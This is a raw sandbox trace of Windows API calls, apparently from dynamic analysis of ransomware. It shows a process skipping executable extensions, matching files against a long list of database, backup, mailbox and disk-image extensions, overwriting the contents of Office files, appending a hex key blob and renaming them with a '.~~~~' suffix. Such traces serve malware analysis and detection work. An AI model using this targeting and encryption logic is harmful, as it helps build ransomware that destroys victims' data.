	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28701d0
	[0145.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.443] GetLastError () returned 0x0
	[0145.443] GetLastError () returned 0x0
	[0145.443] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.443] GetLastError () returned 0x0
	[0145.443] GetLastError () returned 0x0
	[0145.444] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0145.445] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.445] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0145.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.445] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.446] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.446] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.446] CloseHandle (hObject=0x104) returned 1
	[0145.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.~~~~")) returned 1
	[0145.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.495] GetLastError () returned 0x0
	[0145.495] RtlWakeConditionVariable () returned 0x0
	[0145.495] GetCurrentThreadId () returned 0x9f4
	[0145.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.495] lstrlenW (lpString=".cmd") returned 4
	[0145.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.495] lstrlenW (lpString=".dll") returned 4
	[0145.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.495] lstrlenW (lpString=".bat") returned 4
	[0145.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.496] lstrlenW (lpString=".cpl") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.496] lstrlenW (lpString=".sys") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.496] lstrlenW (lpString=".msc") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.496] lstrlenW (lpString=".com") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.496] lstrlenW (lpString=".lnk") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.496] lstrlenW (lpString=".msp") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.496] lstrlenW (lpString=".pif") returned 4
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.496] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.498] lstrlenW (lpString=".sqb") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.498] lstrlenW (lpString=".ost") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.498] lstrlenW (lpString=".txt") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.498] lstrlenW (lpString=".mdt") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.498] lstrlenW (lpString=".BDB") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.498] lstrlenW (lpString=".eql") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.498] lstrlenW (lpString=".DBF") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.498] lstrlenW (lpString=".EQL") returned 4
	[0145.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.499] lstrlenW (lpString=".FDB") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.499] lstrlenW (lpString=".EDB") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.499] lstrlenW (lpString=".DACPAC") returned 7
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.499] lstrlenW (lpString=".VHD") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.499] lstrlenW (lpString=".DBV") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.499] lstrlenW (lpString=".dacpac") returned 7
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.499] lstrlenW (lpString=".sdf") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.499] lstrlenW (lpString=".accdb") returned 6
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.499] lstrlenW (lpString=".DBX") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.499] lstrlenW (lpString=".MDT") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.499] lstrlenW (lpString=".SQB") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.499] lstrlenW (lpString=".vhd") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.499] lstrlenW (lpString=".bac") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.499] lstrlenW (lpString=".mdf") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.499] lstrlenW (lpString=".BAK") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.499] lstrlenW (lpString=".BAC") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.499] lstrlenW (lpString=".dbs") returned 4
	[0145.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.499] lstrlenW (lpString=".vhdx") returned 5
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.500] lstrlenW (lpString=".NDF") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.500] lstrlenW (lpString=".dat") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.500] lstrlenW (lpString=".DBS") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.500] lstrlenW (lpString=".CKP") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.500] lstrlenW (lpString=".edb") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.500] lstrlenW (lpString=".PST") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.500] lstrlenW (lpString=".dbf") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.500] lstrlenW (lpString=".SQL") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.500] lstrlenW (lpString=".pst") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.500] lstrlenW (lpString=".dbv") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.500] lstrlenW (lpString=".SDF") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.500] lstrlenW (lpString=".dtxs") returned 5
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.500] lstrlenW (lpString=".db3") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.500] lstrlenW (lpString=".OST") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.500] lstrlenW (lpString=".dbx") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.500] lstrlenW (lpString=".DB3") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.500] lstrlenW (lpString=".DAT") returned 4
	[0145.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.501] lstrlenW (lpString=".VHDX") returned 5
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.501] lstrlenW (lpString=".ndf") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.501] lstrlenW (lpString=".DB") returned 3
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.501] lstrlenW (lpString=".sql") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.501] lstrlenW (lpString=".MYD") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.501] lstrlenW (lpString=".DBT") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.501] lstrlenW (lpString=".ACCDB") returned 6
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.501] lstrlenW (lpString=".fdb") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.501] lstrlenW (lpString=".bak") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.501] lstrlenW (lpString=".myd") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.501] lstrlenW (lpString=".DTXS") returned 5
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.501] lstrlenW (lpString=".ckp") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.501] lstrlenW (lpString=".dbt") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.501] lstrlenW (lpString=".db") returned 3
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.501] lstrlenW (lpString=".TXT") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.501] lstrlenW (lpString=".MDF") returned 4
	[0145.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.501] lstrlenW (lpString=".bdb") returned 4
	[0145.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.502] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.502] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.503] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.503] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.503] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26549328302) returned 1
	[0145.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0219390, dwHighDateTime=0x1d60e1e)) 
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3803c0
	[0145.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3803c0 | out: hHeap=0x300000) returned 1
	[0145.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28700a0
	[0145.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.504] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.504] GetLastError () returned 0x0
	[0145.505] GetLastError () returned 0x0
	[0145.505] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.505] GetLastError () returned 0x0
	[0145.505] GetLastError () returned 0x0
	[0145.505] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.506] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.506] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.506] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.507] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.507] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.507] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.507] CloseHandle (hObject=0x104) returned 1
	[0145.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.~~~~")) returned 1
	[0145.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.510] GetLastError () returned 0x0
	[0145.511] RtlWakeConditionVariable () returned 0x365f70
	[0145.511] GetCurrentThreadId () returned 0x9f4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.511] lstrlenW (lpString=".cmd") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.511] lstrlenW (lpString=".dll") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.511] lstrlenW (lpString=".bat") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.511] lstrlenW (lpString=".cpl") returned 4
